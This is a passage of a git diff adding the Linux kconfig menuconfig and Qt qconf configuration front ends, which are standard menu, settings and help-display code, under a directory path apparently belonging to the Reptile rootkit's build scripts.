+ +static void show_help(struct menu *menu) +{ + struct gstr help = str_new(); + + help.max_width = getmaxx(stdscr) - 10; + menu_get_ext_help(menu, &help); + + show_helptext(_(menu_get_prompt(menu)), str_get(&help)); + str_free(&help); +} + +static void conf_choice(struct menu *menu) +{ + const char *prompt = _(menu_get_prompt(menu)); + struct menu *child; + struct symbol *active; + + active = sym_get_choice_value(menu->sym); + while (1) { + int res; + int selected; + item_reset(); + + current_menu = menu; + for (child = menu->list; child; child = child->next) { + if (!menu_is_visible(child)) + continue; + if (child->sym) + item_make("%s", _(menu_get_prompt(child))); + else { + item_make("*** %s ***", _(menu_get_prompt(child))); + item_set_tag(':'); + } + item_set_data(child); + if (child->sym == active) + item_set_selected(1); + if (child->sym == sym_get_choice_value(menu->sym)) + item_set_tag('X'); + } + dialog_clear(); + res = dialog_checklist(prompt ? _(prompt) : _("Main Menu"), + _(radiolist_instructions), + MENUBOX_HEIGTH_MIN, + MENUBOX_WIDTH_MIN, + CHECKLIST_HEIGTH_MIN); + selected = item_activate_selected(); + switch (res) { + case 0: + if (selected) { + child = item_data(); + if (!child->sym) + break; + + sym_set_tristate_value(child->sym, yes); + } + return; + case 1: + if (selected) { + child = item_data(); + show_help(child); + active = child->sym; + } else + show_help(menu); + break; + case KEY_ESC: + return; + case -ERRDISPLAYTOOSMALL: + return; + } + } +} + +static void conf_string(struct menu *menu) +{ + const char *prompt = menu_get_prompt(menu); + + while (1) { + int res; + const char *heading; + + switch (sym_get_type(menu->sym)) { + case S_INT: + heading = _(inputbox_instructions_int); + break; + case S_HEX: + heading = _(inputbox_instructions_hex); + break; + case S_STRING: + heading = _(inputbox_instructions_string); + break; + default: + heading = _("Internal mconf error!"); + } + dialog_clear(); + res = dialog_inputbox(prompt ? _(prompt) : _("Main Menu"), + heading, 10, 75, + sym_get_string_value(menu->sym)); + switch (res) { + case 0: + if (sym_set_string_value(menu->sym, dialog_input_result)) + return; + show_textbox(NULL, _("You have made an invalid entry."), 5, 43); + break; + case 1: + show_help(menu); + break; + case KEY_ESC: + return; + } + } +} + +static void conf_load(void) +{ + + while (1) { + int res; + dialog_clear(); + res = dialog_inputbox(NULL, load_config_text, + 11, 55, filename); + switch(res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_read(dialog_input_result)) { + set_config_filename(dialog_input_result); + sym_set_change_count(1); + return; + } + show_textbox(NULL, _("File does not exist!"), 5, 38); + break; + case 1: + show_helptext(_("Load Alternate Configuration"), load_config_help); + break; + case KEY_ESC: + return; + } + } +} + +static void conf_save(void) +{ + while (1) { + int res; + dialog_clear(); + res = dialog_inputbox(NULL, save_config_text, + 11, 55, filename); + switch(res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_write(dialog_input_result)) { + set_config_filename(dialog_input_result); + return; + } + show_textbox(NULL, _("Can't create file! Probably a nonexistent directory."), 5, 60); + break; + case 1: + show_helptext(_("Save Alternate Configuration"), save_config_help); + break; + case KEY_ESC: + return; + } + } +} + +static int handle_exit(void) +{ + int res; + + save_and_exit = 1; + reset_subtitle(); + dialog_clear(); + if (conf_get_changed()) + res = dialog_yesno(NULL, + _("Do you wish to save your new configuration?\n" + "(Press to continue kernel configuration.)"), + 6, 60); + else + res = -1; + + end_dialog(saved_x, saved_y); + + switch (res) { + case 0: + if (conf_write(filename)) { + fprintf(stderr, _("\n\n" + "Error while writing of the configuration.\n" + "Your configuration changes were NOT saved." + "\n\n")); + return 1; + } + /* fall through */ + case -1: + printf(_("\n\n" + "*** End of the configuration.\n" + "*** Execute 'make' to start the build or try 'make help'." + "\n\n")); + res = 0; + break; + default: + fprintf(stderr, _("\n\n" + "Your configuration changes were NOT saved." + "\n\n")); + if (res != KEY_ESC) + res = 0; + } + + return res; +} + +static void sig_handler(int signo) +{ + exit(handle_exit()); +} + +int main(int ac, char **av) +{ + char *mode; + int res; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + signal(SIGINT, sig_handler); + + conf_parse(av[1]); + conf_read(NULL); + + mode = getenv("MENUCONFIG_MODE"); + if (mode) { + if (!strcasecmp(mode, "single_menu")) + single_menu_mode = 1; + } + + if (init_dialog(NULL)) { + fprintf(stderr, N_("Your display is too small to run Menuconfig!\n")); + fprintf(stderr, N_("It must be at least 19 lines by 80 columns.\n")); + return 1; + } + + set_config_filename(conf_get_configname()); + conf_set_message_callback(conf_message_callback); + do { + conf(&rootmenu, NULL); + res = handle_exit(); + } while (res == KEY_ESC); + + return res; +} + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/qconf.cc b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/qconf.cc new file mode 100644 index 0000000..9d3b04b --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/qconf.cc @@ -0,0 +1,1795 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include + +#if QT_VERSION < 0x040000 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#else +#include +#include +#include +#include +#include +#include +#include +#include +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "lkc.h" +#include "qconf.h" + +#include "qconf.moc" +#include "images.c" + +#ifdef _ +# undef _ +# define _ qgettext +#endif + +static QApplication *configApp; +static ConfigSettings *configSettings; + +Q3Action *ConfigMainWindow::saveAction; + +static inline QString qgettext(const char* str) +{ + return QString::fromLocal8Bit(gettext(str)); +} + +static inline QString qgettext(const QString& str) +{ + return QString::fromLocal8Bit(gettext(str.latin1())); +} + +ConfigSettings::ConfigSettings() + : QSettings("kernel.org", "qconf") +{ +} + +/** + * Reads a list of integer values from the application settings. + */ +Q3ValueList ConfigSettings::readSizes(const QString& key, bool *ok) +{ + Q3ValueList result; + QStringList entryList = readListEntry(key, ok); + QStringList::Iterator it; + + for (it = entryList.begin(); it != entryList.end(); ++it) + result.push_back((*it).toInt()); + + return result; +} + +/** + * Writes a list of integer values to the application settings. + */ +bool ConfigSettings::writeSizes(const QString& key, const Q3ValueList& value) +{ + QStringList stringList; + Q3ValueList::ConstIterator it; + + for (it = value.begin(); it != value.end(); ++it) + stringList.push_back(QString::number(*it)); + return writeEntry(key, stringList); +} + + +/* + * set the new data + * TODO check the value + */ +void ConfigItem::okRename(int col) +{ + Parent::okRename(col); + sym_set_string_value(menu->sym, text(dataColIdx).latin1()); + listView()->updateList(this); +} + +/* + * update the displayed of a menu entry + */ +void ConfigItem::updateMenu(void) +{ + ConfigList* list; + struct symbol* sym; + struct property *prop; + QString prompt; + int type; + tristate expr; + + list = listView(); + if (goParent) { + setPixmap(promptColIdx, list->menuBackPix); + prompt = ".."; + goto set_prompt; + } + + sym = menu->sym; + prop = menu->prompt; + prompt = _(menu_get_prompt(menu)); + + if (prop) switch (prop->type) { + case P_MENU: + if (list->mode == singleMode || list->mode == symbolMode) { + /* a menuconfig entry is displayed differently + * depending whether it's at the view root or a child. + */ + if (sym && list->rootEntry == menu) + break; + setPixmap(promptColIdx, list->menuPix); + } else { + if (sym) + break; + setPixmap(promptColIdx, 0); + } + goto set_prompt; + case P_COMMENT: + setPixmap(promptColIdx, 0); + goto set_prompt; + default: + ; + } + if (!sym) + goto set_prompt; + + setText(nameColIdx, QString::fromLocal8Bit(sym->name)); + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + char ch; + + if (!sym_is_changable(sym) && list->optMode == normalOpt) { + setPixmap(promptColIdx, 0); + setText(noColIdx, QString::null); + setText(modColIdx, QString::null); + setText(yesColIdx, QString::null); + break; + } + expr = sym_get_tristate_value(sym); + switch (expr) { + case yes: + if (sym_is_choice_value(sym) && type == S_BOOLEAN) + setPixmap(promptColIdx, list->choiceYesPix); + else + setPixmap(promptColIdx, list->symbolYesPix); + setText(yesColIdx, "Y"); + ch = 'Y'; + break; + case mod: + setPixmap(promptColIdx, list->symbolModPix); + setText(modColIdx, "M"); + ch = 'M'; + break; + default: + if (sym_is_choice_value(sym) && type == S_BOOLEAN) + setPixmap(promptColIdx, list->choiceNoPix); + else + setPixmap(promptColIdx, list->symbolNoPix); + setText(noColIdx, "N"); + ch = 'N'; + break; + } + if (expr != no) + setText(noColIdx, sym_tristate_within_range(sym, no) ? "_" : 0); + if (expr != mod) + setText(modColIdx, sym_tristate_within_range(sym, mod) ? "_" : 0); + if (expr != yes) + setText(yesColIdx, sym_tristate_within_range(sym, yes) ? "_" : 0); + + setText(dataColIdx, QChar(ch)); + break; + case S_INT: + case S_HEX: + case S_STRING: + const char* data; + + data = sym_get_string_value(sym); + + int i = list->mapIdx(dataColIdx); + if (i >= 0) + setRenameEnabled(i, TRUE); + setText(dataColIdx, data); + if (type == S_STRING) + prompt = QString("%1: %2").arg(prompt).arg(data); + else + prompt = QString("(%2) %1").arg(prompt).arg(data); + break; + } + if (!sym_has_value(sym) && visible) + prompt += _(" (NEW)"); +set_prompt: + setText(promptColIdx, prompt); +} + +void ConfigItem::testUpdateMenu(bool v) +{ + ConfigItem* i; + + visible = v; + if (!menu) + return; + + sym_calc_value(menu->sym); + if (menu->flags & MENU_CHANGED) { + /* the menu entry changed, so update all list items */ + menu->flags &= ~MENU_CHANGED; + for (i = (ConfigItem*)menu->data; i; i = i->nextItem) + i->updateMenu(); + } else if (listView()->updateAll) + updateMenu(); +} + +void ConfigItem::paintCell(QPainter* p, const QColorGroup& cg, int column, int width, int align) +{ + ConfigList* list = listView(); + + if (visible) { + if (isSelected() && !list->hasFocus() && list->mode == menuMode) + Parent::paintCell(p, list->inactivedColorGroup, column, width, align); + else + Parent::paintCell(p, cg, column, width, align); + } else + Parent::paintCell(p, list->disabledColorGroup, column, width, align); +} + +/* + * construct a menu entry + */ +void ConfigItem::init(void) +{ + if (menu) { + ConfigList* list = listView(); + nextItem = (ConfigItem*)menu->data; + menu->data = this; + + if (list->mode != fullMode) + setOpen(TRUE); + sym_calc_value(menu->sym); + } + updateMenu(); +} + +/* + * destruct a menu entry + */ +ConfigItem::~ConfigItem(void) +{ + if (menu) { + ConfigItem** ip = (ConfigItem**)&menu->data; + for (; *ip; ip = &(*ip)->nextItem) { + if (*ip == this) { + *ip = nextItem; + break; + } + } + } +} + +ConfigLineEdit::ConfigLineEdit(ConfigView* parent) + : Parent(parent) +{ + connect(this, SIGNAL(lostFocus()), SLOT(hide())); +} + +void ConfigLineEdit::show(ConfigItem* i) +{ + item = i; + if (sym_get_string_value(item->menu->sym)) + setText(QString::fromLocal8Bit(sym_get_string_value(item->menu->sym))); + else + setText(QString::null); + Parent::show(); + setFocus(); +} + +void ConfigLineEdit::keyPressEvent(QKeyEvent* e) +{ + switch (e->key()) { + case Qt::Key_Escape: + break; + case Qt::Key_Return: + case Qt::Key_Enter: + sym_set_string_value(item->menu->sym, text().latin1()); + parent()->updateList(item); + break; + default: + Parent::keyPressEvent(e); + return; + } + e->accept(); + parent()->list->setFocus(); + hide(); +} + +ConfigList::ConfigList(ConfigView* p, const char *name) + : Parent(p, name), + updateAll(false), + symbolYesPix(xpm_symbol_yes), symbolModPix(xpm_symbol_mod), symbolNoPix(xpm_symbol_no), + choiceYesPix(xpm_choice_yes), choiceNoPix(xpm_choice_no), + menuPix(xpm_menu), menuInvPix(xpm_menu_inv), menuBackPix(xpm_menuback), voidPix(xpm_void), + showName(false), showRange(false), showData(false), optMode(normalOpt), + rootEntry(0), headerPopup(0) +{ + int i; + + setSorting(-1); + setRootIsDecorated(TRUE); + disabledColorGroup = palette().active(); + disabledColorGroup.setColor(QColorGroup::Text, palette().disabled().text()); + inactivedColorGroup = palette().active(); + inactivedColorGroup.setColor(QColorGroup::Highlight, palette().disabled().highlight()); + + connect(this, SIGNAL(selectionChanged(void)), + SLOT(updateSelection(void))); + + if (name) { + configSettings->beginGroup(name); + showName = configSettings->readBoolEntry("/showName", false); + showRange = configSettings->readBoolEntry("/showRange", false); + showData = configSettings->readBoolEntry("/showData", false); + optMode = (enum optionMode)configSettings->readNumEntry("/optionMode", false); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } + + for (i = 0; i < colNr; i++) + colMap[i] = colRevMap[i] = -1; + addColumn(promptColIdx, _("Option")); + + reinit(); +} + +bool ConfigList::menuSkip(struct menu *menu) +{ + if (optMode == normalOpt && menu_is_visible(menu)) + return false; + if (optMode == promptOpt && menu_has_prompt(menu)) + return false; + if (optMode == allOpt) + return false; + return true; +} + +void ConfigList::reinit(void) +{ + removeColumn(dataColIdx); + removeColumn(yesColIdx); + removeColumn(modColIdx); + removeColumn(noColIdx); + removeColumn(nameColIdx); + + if (showName) + addColumn(nameColIdx, _("Name")); + if (showRange) { + addColumn(noColIdx, "N"); + addColumn(modColIdx, "M"); + addColumn(yesColIdx, "Y"); + } + if (showData) + addColumn(dataColIdx, _("Value")); + + updateListAll(); +} + +void ConfigList::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/showName", showName); + configSettings->writeEntry("/showRange", showRange); + configSettings->writeEntry("/showData", showData); + configSettings->writeEntry("/optionMode", (int)optMode); + configSettings->endGroup(); + } +} + +ConfigItem* ConfigList::findConfigItem(struct menu *menu) +{ + ConfigItem* item = (ConfigItem*)menu->data; + + for (; item; item = item->nextItem) { + if (this == item->listView()) + break; + } + + return item; +} + +void ConfigList::updateSelection(void) +{ + struct menu *menu; + enum prop_type type; + + ConfigItem* item = (ConfigItem*)selectedItem(); + if (!item) + return; + + menu = item->menu; + emit menuChanged(menu); + if (!menu) + return; + type = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (mode == menuMode && type == P_MENU) + emit menuSelected(menu); +} + +void ConfigList::updateList(ConfigItem* item) +{ + ConfigItem* last = 0; + + if (!rootEntry) { + if (mode != listMode) + goto update; + Q3ListViewItemIterator it(this); + ConfigItem* item; + + for (; it.current(); ++it) { + item = (ConfigItem*)it.current(); + if (!item->menu) + continue; + item->testUpdateMenu(menu_is_visible(item->menu)); + } + return; + } + + if (rootEntry != &rootmenu && (mode == singleMode || + (mode == symbolMode && rootEntry->parent != &rootmenu))) { + item = firstChild(); + if (!item) + item = new ConfigItem(this, 0, true); + last = item; + } + if ((mode == singleMode || (mode == symbolMode && !(rootEntry->flags & MENU_ROOT))) && + rootEntry->sym && rootEntry->prompt) { + item = last ? last->nextSibling() : firstChild(); + if (!item) + item = new ConfigItem(this, last, rootEntry, true); + else + item->testUpdateMenu(true); + + updateMenuList(item, rootEntry); + triggerUpdate(); + return; + } +update: + updateMenuList(this, rootEntry); + triggerUpdate(); +} + +void ConfigList::setValue(ConfigItem* item, tristate val) +{ + struct symbol* sym; + int type; + tristate oldval; + + sym = item->menu ? item->menu->sym : 0; + if (!sym) + return; + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + oldval = sym_get_tristate_value(sym); + + if (!sym_set_tristate_value(sym, val)) + return; + if (oldval == no && item->menu->list) + item->setOpen(TRUE); + parent()->updateList(item); + break; + } +} + +void ConfigList::changeValue(ConfigItem* item) +{ + struct symbol* sym; + struct menu* menu; + int type, oldexpr, newexpr; + + menu = item->menu; + if (!menu) + return; + sym = menu->sym; + if (!sym) { + if (item->menu->list) + item->setOpen(!item->isOpen()); + return; + } + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + oldexpr = sym_get_tristate_value(sym); + newexpr = sym_toggle_tristate_value(sym); + if (item->menu->list) { + if (oldexpr == newexpr) + item->setOpen(!item->isOpen()); + else if (oldexpr == no) + item->setOpen(TRUE); + } + if (oldexpr != newexpr) + parent()->updateList(item); + break; + case S_INT: + case S_HEX: + case S_STRING: + if (colMap[dataColIdx] >= 0) + item->startRename(colMap[dataColIdx]); + else + parent()->lineEdit->show(item); + break; + } +} + +void ConfigList::setRootMenu(struct menu *menu) +{ + enum prop_type type; + + if (rootEntry == menu) + return; + type = menu && menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (type != P_MENU) + return; + updateMenuList(this, 0); + rootEntry = menu; + updateListAll(); + setSelected(currentItem(), hasFocus()); + ensureItemVisible(currentItem()); +} + +void ConfigList::setParentMenu(void) +{ + ConfigItem* item; + struct menu *oldroot; + + oldroot = rootEntry; + if (rootEntry == &rootmenu) + return; + setRootMenu(menu_get_parent_menu(rootEntry->parent)); + + Q3ListViewItemIterator it(this); + for (; (item = (ConfigItem*)it.current()); it++) { + if (item->menu == oldroot) { + setCurrentItem(item); + ensureItemVisible(item); + break; + } + } +} + +/* + * update all the children of a menu entry + * removes/adds the entries from the parent widget as necessary + * + * parent: either the menu list widget or a menu entry widget + * menu: entry to be updated + */ +template +void ConfigList::updateMenuList(P* parent, struct menu* menu) +{ + struct menu* child; + ConfigItem* item; + ConfigItem* last; + bool visible; + enum prop_type type; + + if (!menu) { + while ((item = parent->firstChild())) + delete item; + return; + } + + last = parent->firstChild(); + if (last && !last->goParent) + last = 0; + for (child = menu->list; child; child = child->next) { + item = last ? last->nextSibling() : parent->firstChild(); + type = child->prompt ? child->prompt->type : P_UNKNOWN; + + switch (mode) { + case menuMode: + if (!(child->flags & MENU_ROOT)) + goto hide; + break; + case symbolMode: + if (child->flags & MENU_ROOT) + goto hide; + break; + default: + break; + } + + visible = menu_is_visible(child); + if (!menuSkip(child)) { + if (!child->sym && !child->list && !child->prompt) + continue; + if (!item || item->menu != child) + item = new ConfigItem(parent, last, child, visible); + else + item->testUpdateMenu(visible); + + if (mode == fullMode || mode == menuMode || type != P_MENU) + updateMenuList(item, child); + else + updateMenuList(item, 0); + last = item; + continue; + } + hide: + if (item && item->menu == child) { + last = parent->firstChild(); + if (last == item) + last = 0; + else while (last->nextSibling() != item) + last = last->nextSibling(); + delete item; + } + } +} + +void ConfigList::keyPressEvent(QKeyEvent* ev) +{ + Q3ListViewItem* i = currentItem(); + ConfigItem* item; + struct menu *menu; + enum prop_type type; + + if (ev->key() == Qt::Key_Escape && mode != fullMode && mode != listMode) { + emit parentSelected(); + ev->accept(); + return; + } + + if (!i) { + Parent::keyPressEvent(ev); + return; + } + item = (ConfigItem*)i; + + switch (ev->key()) { + case Qt::Key_Return: + case Qt::Key_Enter: + if (item->goParent) { + emit parentSelected(); + break; + } + menu = item->menu; + if (!menu) + break; + type = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (type == P_MENU && rootEntry != menu && + mode != fullMode && mode != menuMode) { + emit menuSelected(menu); + break; + } + case Qt::Key_Space: + changeValue(item); + break; + case Qt::Key_N: + setValue(item, no); + break; + case Qt::Key_M: + setValue(item, mod); + break; + case Qt::Key_Y: + setValue(item, yes); + break; + default: + Parent::keyPressEvent(ev); + return; + } + ev->accept(); +} + +void ConfigList::contentsMousePressEvent(QMouseEvent* e) +{ + //QPoint p(contentsToViewport(e->pos())); + //printf("contentsMousePressEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMousePressEvent(e); +} + +void ConfigList::contentsMouseReleaseEvent(QMouseEvent* e) +{ + QPoint p(contentsToViewport(e->pos())); + ConfigItem* item = (ConfigItem*)itemAt(p); + struct menu *menu; + enum prop_type ptype; + const QPixmap* pm; + int idx, x; + + if (!item) + goto skip; + + menu = item->menu; + x = header()->offset() + p.x(); + idx = colRevMap[header()->sectionAt(x)]; + switch (idx) { + case promptColIdx: + pm = item->pixmap(promptColIdx); + if (pm) { + int off = header()->sectionPos(0) + itemMargin() + + treeStepSize() * (item->depth() + (rootIsDecorated() ? 1 : 0)); + if (x >= off && x < off + pm->width()) { + if (item->goParent) { + emit parentSelected(); + break; + } else if (!menu) + break; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (ptype == P_MENU && rootEntry != menu && + mode != fullMode && mode != menuMode) + emit menuSelected(menu); + else + changeValue(item); + } + } + break; + case noColIdx: + setValue(item, no); + break; + case modColIdx: + setValue(item, mod); + break; + case yesColIdx: + setValue(item, yes); + break; + case dataColIdx: + changeValue(item); + break; + } + +skip: + //printf("contentsMouseReleaseEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseReleaseEvent(e); +} + +void ConfigList::contentsMouseMoveEvent(QMouseEvent* e) +{ + //QPoint p(contentsToViewport(e->pos())); + //printf("contentsMouseMoveEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseMoveEvent(e); +} + +void ConfigList::contentsMouseDoubleClickEvent(QMouseEvent* e) +{ + QPoint p(contentsToViewport(e->pos())); + ConfigItem* item = (ConfigItem*)itemAt(p); + struct menu *menu; + enum prop_type ptype; + + if (!item) + goto skip; + if (item->goParent) { + emit parentSelected(); + goto skip; + } + menu = item->menu; + if (!menu) + goto skip; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (ptype == P_MENU && (mode == singleMode || mode == symbolMode)) + emit menuSelected(menu); + else if (menu->sym) + changeValue(item); + +skip: + //printf("contentsMouseDoubleClickEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseDoubleClickEvent(e); +} + +void ConfigList::focusInEvent(QFocusEvent *e) +{ + struct menu *menu = NULL; + + Parent::focusInEvent(e); + + ConfigItem* item = (ConfigItem *)currentItem(); + if (item) { + setSelected(item, TRUE); + menu = item->menu; + } + emit gotFocus(menu); +} + +void ConfigList::contextMenuEvent(QContextMenuEvent *e) +{ + if (e->y() <= header()->geometry().bottom()) { + if (!headerPopup) { + Q3Action *action; + + headerPopup = new Q3PopupMenu(this); + action = new Q3Action(NULL, _("Show Name"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowName(bool))); + connect(parent(), SIGNAL(showNameChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showName); + action->addTo(headerPopup); + action = new Q3Action(NULL, _("Show Range"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowRange(bool))); + connect(parent(), SIGNAL(showRangeChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showRange); + action->addTo(headerPopup); + action = new Q3Action(NULL, _("Show Data"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowData(bool))); + connect(parent(), SIGNAL(showDataChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showData); + action->addTo(headerPopup); + } + headerPopup->exec(e->globalPos()); + e->accept(); + } else + e->ignore(); +} + +ConfigView*ConfigView::viewList; +QAction *ConfigView::showNormalAction; +QAction *ConfigView::showAllAction; +QAction *ConfigView::showPromptAction; + +ConfigView::ConfigView(QWidget* parent, const char *name) + : Parent(parent, name) +{ + list = new ConfigList(this, name); + lineEdit = new ConfigLineEdit(this); + lineEdit->hide(); + + this->nextView = viewList; + viewList = this; +} + +ConfigView::~ConfigView(void) +{ + ConfigView** vp; + + for (vp = &viewList; *vp; vp = &(*vp)->nextView) { + if (*vp == this) { + *vp = nextView; + break; + } + } +} + +void ConfigView::setOptionMode(QAction *act) +{ + if (act == showNormalAction) + list->optMode = normalOpt; + else if (act == showAllAction) + list->optMode = allOpt; + else + list->optMode = promptOpt; + + list->updateListAll(); +} + +void ConfigView::setShowName(bool b) +{ + if (list->showName != b) { + list->showName = b; + list->reinit(); + emit showNameChanged(b); + } +} + +void ConfigView::setShowRange(bool b) +{ + if (list->showRange != b) { + list->showRange = b; + list->reinit(); + emit showRangeChanged(b); + } +} + +void ConfigView::setShowData(bool b) +{ + if (list->showData != b) { + list->showData = b; + list->reinit(); + emit showDataChanged(b); + } +} + +void ConfigList::setAllOpen(bool open) +{ + Q3ListViewItemIterator it(this); + + for (; it.current(); it++) + it.current()->setOpen(open); +} + +void ConfigView::updateList(ConfigItem* item) +{ + ConfigView* v; + + for (v = viewList; v; v = v->nextView) + v->list->updateList(item); +} + +void ConfigView::updateListAll(void) +{ + ConfigView* v; + + for (v = viewList; v; v = v->nextView) + v->list->updateListAll(); +} + +ConfigInfoView::ConfigInfoView(QWidget* parent, const char *name) + : Parent(parent, name), sym(0), _menu(0) +{ + if (name) { + configSettings->beginGroup(name); + _showDebug = configSettings->readBoolEntry("/showDebug", false); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } +} + +void ConfigInfoView::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/showDebug", showDebug()); + configSettings->endGroup(); + } +} + +void ConfigInfoView::setShowDebug(bool b) +{ + if (_showDebug != b) { + _showDebug = b; + if (_menu) + menuInfo(); + else if (sym) + symbolInfo(); + emit showDebugChanged(b); + } +} + +void ConfigInfoView::setInfo(struct menu *m) +{ + if (_menu == m) + return; + _menu = m; + sym = NULL; + if (!_menu) + clear(); + else + menuInfo(); +} + +void ConfigInfoView::symbolInfo(void) +{ + QString str; + + str += "Symbol: "; + str += print_filter(sym->name); + str += "

value: "; + str += print_filter(sym_get_string_value(sym)); + str += "
visibility: "; + str += sym->visible == yes ? "y" : sym->visible == mod ? "m" : "n"; + str += "
"; + str += debug_info(sym); + + setText(str); +} + +void ConfigInfoView::menuInfo(void) +{ + struct symbol* sym; + QString head, debug, help; + + sym = _menu->sym; + if (sym) { + if (_menu->prompt) { + head += ""; + head += print_filter(_(_menu->prompt->text)); + head += ""; + if (sym->name) { + head += " ("; + if (showDebug()) + head += QString().sprintf("
", sym); + head += print_filter(sym->name); + if (showDebug()) + head += ""; + head += ")"; + } + } else if (sym->name) { + head += ""; + if (showDebug()) + head += QString().sprintf("", sym); + head += print_filter(sym->name); + if (showDebug()) + head += ""; + head += ""; + } + head += "

"; + + if (showDebug()) + debug = debug_info(sym); + + struct gstr help_gstr = str_new(); + menu_get_ext_help(_menu, &help_gstr); + help = print_filter(str_get(&help_gstr)); + str_free(&help_gstr); + } else if (_menu->prompt) { + head += ""; + head += print_filter(_(_menu->prompt->text)); + head += "

"; + if (showDebug()) { + if (_menu->prompt->visible.expr) { + debug += "  dep: "; + expr_print(_menu->prompt->visible.expr, expr_print_help, &debug, E_NONE); + debug += "

"; + } + } + } + if (showDebug()) + debug += QString().sprintf("defined at %s:%d

", _menu->file->name, _menu->lineno); + + setText(head + debug + help); +} + +QString ConfigInfoView::debug_info(struct symbol *sym) +{ + QString debug; + + debug += "type: "; + debug += print_filter(sym_type_name(sym->type)); + if (sym_is_choice(sym)) + debug += " (choice)"; + debug += "
"; + if (sym->rev_dep.expr) { + debug += "reverse dep: "; + expr_print(sym->rev_dep.expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + for (struct property *prop = sym->prop; prop; prop = prop->next) { + switch (prop->type) { + case P_PROMPT: + case P_MENU: + debug += QString().sprintf("prompt: ", prop->menu); + debug += print_filter(_(prop->text)); + debug += "
"; + break; + case P_DEFAULT: + case P_SELECT: + case P_RANGE: + case P_ENV: + debug += prop_get_type_name(prop->type); + debug += ": "; + expr_print(prop->expr, expr_print_help, &debug, E_NONE); + debug += "
"; + break; + case P_CHOICE: + if (sym_is_choice(sym)) { + debug += "choice: "; + expr_print(prop->expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + break; + default: + debug += "unknown property: "; + debug += prop_get_type_name(prop->type); + debug += "
"; + } + if (prop->visible.expr) { + debug += "    dep: "; + expr_print(prop->visible.expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + } + debug += "
"; + + return debug; +} + +QString ConfigInfoView::print_filter(const QString &str) +{ + QRegExp re("[<>&\"\\n]"); + QString res = str; + for (int i = 0; (i = res.find(re, i)) >= 0;) { + switch (res[i].latin1()) { + case '<': + res.replace(i, 1, "<"); + i += 4; + break; + case '>': + res.replace(i, 1, ">"); + i += 4; + break; + case '&': + res.replace(i, 1, "&"); + i += 5; + break; + case '"': + res.replace(i, 1, """); + i += 6; + break; + case '\n': + res.replace(i, 1, "
"); + i += 4; + break; + } + } + return res; +} + +void ConfigInfoView::expr_print_help(void *data, struct symbol *sym, const char *str) +{ + QString* text = reinterpret_cast(data); + QString str2 = print_filter(str); + + if (sym && sym->name && !(sym->flags & SYMBOL_CONST)) { + *text += QString().sprintf("", sym); + *text += str2; + *text += ""; + } else + *text += str2; +} + +Q3PopupMenu* ConfigInfoView::createPopupMenu(const QPoint& pos) +{ + Q3PopupMenu* popup = Parent::createPopupMenu(pos); + Q3Action* action = new Q3Action(NULL, _("Show Debug Info"), 0, popup); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), SLOT(setShowDebug(bool))); + connect(this, SIGNAL(showDebugChanged(bool)), action, SLOT(setOn(bool))); + action->setOn(showDebug()); + popup->insertSeparator(); + action->addTo(popup); + return popup; +} + +void ConfigInfoView::contentsContextMenuEvent(QContextMenuEvent *e) +{ + Parent::contentsContextMenuEvent(e); +} + +ConfigSearchWindow::ConfigSearchWindow(ConfigMainWindow* parent, const char *name) + : Parent(parent, name), result(NULL) +{ + setCaption("Search Config"); + + QVBoxLayout* layout1 = new QVBoxLayout(this, 11, 6); + QHBoxLayout* layout2 = new QHBoxLayout(0, 0, 6); + layout2->addWidget(new QLabel(_("Find:"), this)); + editField = new QLineEdit(this); + connect(editField, SIGNAL(returnPressed()), SLOT(search())); + layout2->addWidget(editField); + searchButton = new QPushButton(_("Search"), this); + searchButton->setAutoDefault(FALSE); + connect(searchButton, SIGNAL(clicked()), SLOT(search())); + layout2->addWidget(searchButton); + layout1->addLayout(layout2); + + split = new QSplitter(this); + split->setOrientation(Qt::Vertical); + list = new ConfigView(split, name); + list->list->mode = listMode; + info = new ConfigInfoView(split, name); + connect(list->list, SIGNAL(menuChanged(struct menu *)), + info, SLOT(setInfo(struct menu *))); + 